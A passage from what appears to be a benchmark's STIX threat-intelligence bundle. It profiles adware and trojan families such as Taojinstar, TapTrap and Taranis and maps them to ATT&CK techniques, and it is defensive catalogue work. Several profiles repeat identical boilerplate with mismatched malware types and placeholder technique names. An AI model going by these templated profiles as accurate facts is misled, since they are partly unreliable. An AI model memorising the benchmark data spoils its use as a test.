      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94049c0f-31ca-52e7-8568-510250bf1f4c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taobao exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec49a5ec-163c-5a2d-b310-2031332c7c54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94049c0f-31ca-52e7-8568-510250bf1f4c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taobao exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec679f4a-00d0-5576-afda-973d6fbe83e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94049c0f-31ca-52e7-8568-510250bf1f4c",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taobao exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de9b4dc0-e339-5ffd-a672-281c4db847c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taojinstar",
      "description": "<h3>Executive Summary</h3>\nTaojinstar is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate system utility, shopping assistant, or browser enhancement. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTaojinstar relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Taojinstar frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Taojinstar is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Taojinstar",
        "PUP.Taojinstar",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taojinstar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taojinstar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c529ab11-c12c-5d50-8869-7d377a6b56be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de9b4dc0-e339-5ffd-a672-281c4db847c8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taojinstar exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee5dc447-4d1f-59d1-a3ff-3d2666f62f96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de9b4dc0-e339-5ffd-a672-281c4db847c8",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taojinstar exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2457ca3c-18d8-5881-bbe2-db031a02347a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de9b4dc0-e339-5ffd-a672-281c4db847c8",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taojinstar exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8cfaa793-ed5e-5f07-8fef-5180704acf18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taptrap",
      "description": "<h3>Executive Summary</h3>\nTapTrap is a malicious Trojan specifically engineered to target the Android mobile operating system. Operating under the guise of legitimate applications (such as fake utility tools, games, or \"battery optimizers\"), TapTrap seeks to gain extensive permissions on the infected device to harvest sensitive user data, intercept communications, and generate illicit revenue through aggressive background ad-fraud.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTapTrap is predominantly distributed via third-party Android app stores, deceptive web advertisements prompting users to download \"urgent updates,\" and occasionally by slipping past security checks into the official Google Play Store (before being rapidly removed).\n\nOnce installed by the victim, TapTrap executes its malicious routines:\n<ul>\n<li><strong>Permission Abuse:</strong> During installation, the app requests a vast array of excessive permissions that are entirely unrelated to its purported function, including access to SMS, Contacts, Location, and the critical `BIND_ACCESSIBILITY_SERVICE`.</li>\n<li><strong>Data Harvesting and Interception:</strong> If granted Accessibility permissions, TapTrap effectively gains full control over the device. It can read SMS messages (intercepting MFA tokens), scrape contact lists, track GPS location, and silently record phone calls.</li>\n<li><strong>Ad Fraud and Overlay Attacks:</strong> The malware frequently operates a hidden web view in the background, simulating user clicks on advertisements to generate revenue (ad fraud). More severe variants utilize \"Overlay Attacks,\" projecting a fake login screen over legitimate banking apps to steal credentials.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA TapTrap infection severely compromises the integrity of the mobile device. The ability to intercept SMS messages means the attacker can bypass two-factor authentication for the user's financial and corporate accounts, making this a critical threat in BYOD (Bring Your Own Device) environments.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Uninstallation (Safe Mode):</strong> If the malware prevents uninstallation (often by abusing Device Administrator privileges), the Android device must be booted into Safe Mode to disable third-party apps, allowing the malicious package to be removed.</li>\n<li><strong>Credential Reset:</strong> Assume all credentials entered on the mobile device, and any accounts secured by SMS MFA tied to that phone number, are compromised.</li>\n<li><strong>Mobile Device Management (MDM):</strong> In corporate environments, enforce strict MDM policies that prohibit the \"sideloading\" of applications from unknown sources and restrict the granting of Accessibility permissions to unvetted apps.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "AndroidOS.TapTrap",
        "Trojan.Android.TapTrap",
        "Spyware.TapTrap"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taptrap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taptrap"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68fb8634-c4a3-5317-b0e4-fa93eebad366",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfaa793-ed5e-5f07-8fef-5180704acf18",
      "target_ref": "attack-pattern--f2bd3f33-6cc6-5f01-8c42-dc5ee3ea1d7a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taptrap exhibits technique T1626 (Technique)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5e197c03-dcd2-5c1d-9a00-1197134c904b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1417: Input Capture",
      "description": "MITRE ATT&CK Technique T1417 (Input Capture) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1417",
          "url": "https://attack.mitre.org/techniques/T1417/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a7e0965-96a0-5d90-b4f6-c1554badb14d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfaa793-ed5e-5f07-8fef-5180704acf18",
      "target_ref": "attack-pattern--5e197c03-dcd2-5c1d-9a00-1197134c904b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taptrap exhibits technique T1417 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a117112-2443-57e8-b940-a4a14e2b2386",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfaa793-ed5e-5f07-8fef-5180704acf18",
      "target_ref": "attack-pattern--f3baccc8-6777-5a7d-af54-0490e30ce1f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taptrap exhibits technique T1636 (Data from Local System: Screen Capture (Using Overlay Attacks to steal credentials))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--83fd5fee-76b0-5243-b466-d6dba0d47878",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1629.002: Device Driver Firmware",
      "description": "MITRE ATT&CK Technique T1629.002 (Device Driver Firmware) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1629.002",
          "url": "https://attack.mitre.org/techniques/T1629/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6998964e-4f93-5dbc-ad6d-5f966f850dca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cfaa793-ed5e-5f07-8fef-5180704acf18",
      "target_ref": "attack-pattern--83fd5fee-76b0-5243-b466-d6dba0d47878",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taptrap exhibits technique T1629.002 (Device Driver Firmware)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cbf61d35-1603-5f0a-9fbe-990d27dee0ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tar4Rkdi",
      "description": "Trojan:Win32/Tar4rkdi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tar4rkdi</b><br>To an end-user, a Tar4rkdi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tar4rkdi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tar4rkdi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tar4rkdi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tar4rkdi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tar4Rkdi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tar4rkdi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd246296-3c6d-5731-beb3-7b771e860f14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbf61d35-1603-5f0a-9fbe-990d27dee0ce",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tar4Rkdi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--736a571b-eca7-5aac-873b-360c8bbe7543",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbf61d35-1603-5f0a-9fbe-990d27dee0ce",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tar4Rkdi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84e7be29-5cd9-5a07-9f83-8323fd3d76e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbf61d35-1603-5f0a-9fbe-990d27dee0ce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tar4Rkdi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--102dae87-0043-5d3b-bcfb-01be9925b847",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbf61d35-1603-5f0a-9fbe-990d27dee0ce",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tar4Rkdi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c347c630-7584-561f-ab37-d488b8d0d7c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cbf61d35-1603-5f0a-9fbe-990d27dee0ce",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tar4Rkdi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6e2a5f4-c0f2-5287-a1a6-2a0b03a45607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taranis",
      "description": "Taranis (cataloged by security software vendors under signatures including Trojan:Win32/Taranis, TR/Taranis, and Win32/Taranis) is a multi-stage Windows trojan and surveillance agent active since 2012. Typically disguised as legitimate software installers, game trainers, or software license activators, Taranis is distributed through torrent networks, deceptive file-sharing hubs, and spearphishing email attachments. Upon initial execution, Taranis verifies that it is operating in an interactive Windows desktop environment before establishing persistence under the Registry Run key. The malware performs host reconnaissance\u2014capturing system hostnames, user privileges, network adapters, and running security tools\u2014and communicates with attacker-controlled command-and-control servers over HTTP/HTTPS. Taranis functions as a stealth loader capable of downloading, unpacking, and executing secondary malicious payloads including remote access trojans (RATs), cryptocurrency miners, and credential stealers. (Observed samples in benchmark: 83)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Taranis",
        "TR/Taranis",
        "Win32/Taranis"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taranis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taranis"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e97eddf-92e0-5f8b-828a-fafec64e754c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6e2a5f4-c0f2-5287-a1a6-2a0b03a45607",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taranis exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c06ca31-cced-5d72-9456-3e2973cfd725",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6e2a5f4-c0f2-5287-a1a6-2a0b03a45607",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taranis exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2756f204-43c9-5c0e-90d5-1d2840bda6ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6e2a5f4-c0f2-5287-a1a6-2a0b03a45607",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taranis exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb3fbff8-be55-5789-bb8e-8ece3439c930",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6e2a5f4-c0f2-5287-a1a6-2a0b03a45607",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taranis exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc1c2827-3451-5a14-95fc-7fd1b24d9232",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6e2a5f4-c0f2-5287-a1a6-2a0b03a45607",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taranis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d6b4f2a-910f-5d84-9672-45e76b713c37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tarayt",
      "description": "Trojan:Win32/Tarayt is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tarayt</b><br>To an end-user, a Tarayt infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tarayt is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tarayt is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tarayt frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tarayt reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tarayt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tarayt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c84abdb0-5885-5e78-9514-ae40d8c4c9b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6b4f2a-910f-5d84-9672-45e76b713c37",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarayt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc9d211e-49bd-559c-8a47-9509e69c127a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6b4f2a-910f-5d84-9672-45e76b713c37",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarayt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc621715-c60e-5a32-bc9b-9d4ff9e2004e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6b4f2a-910f-5d84-9672-45e76b713c37",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarayt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--298282fc-bb53-5e40-8ac3-e1d0915d4278",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6b4f2a-910f-5d84-9672-45e76b713c37",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarayt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82dc50f9-812b-5ca8-a085-c45823b83a3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6b4f2a-910f-5d84-9672-45e76b713c37",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarayt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30be83a8-31e6-5a1a-bac3-7750d13cd67d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tarctox",
      "description": "Trojan:Win32/Tarctox is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tarctox</b><br>To an end-user, a Tarctox infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tarctox is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tarctox is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tarctox frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tarctox reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tarctox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tarctox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35bd9de9-2783-596d-a20f-fc3370cf14f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30be83a8-31e6-5a1a-bac3-7750d13cd67d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarctox exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f859a93-5c57-5eb5-ad48-359ce196abc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30be83a8-31e6-5a1a-bac3-7750d13cd67d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
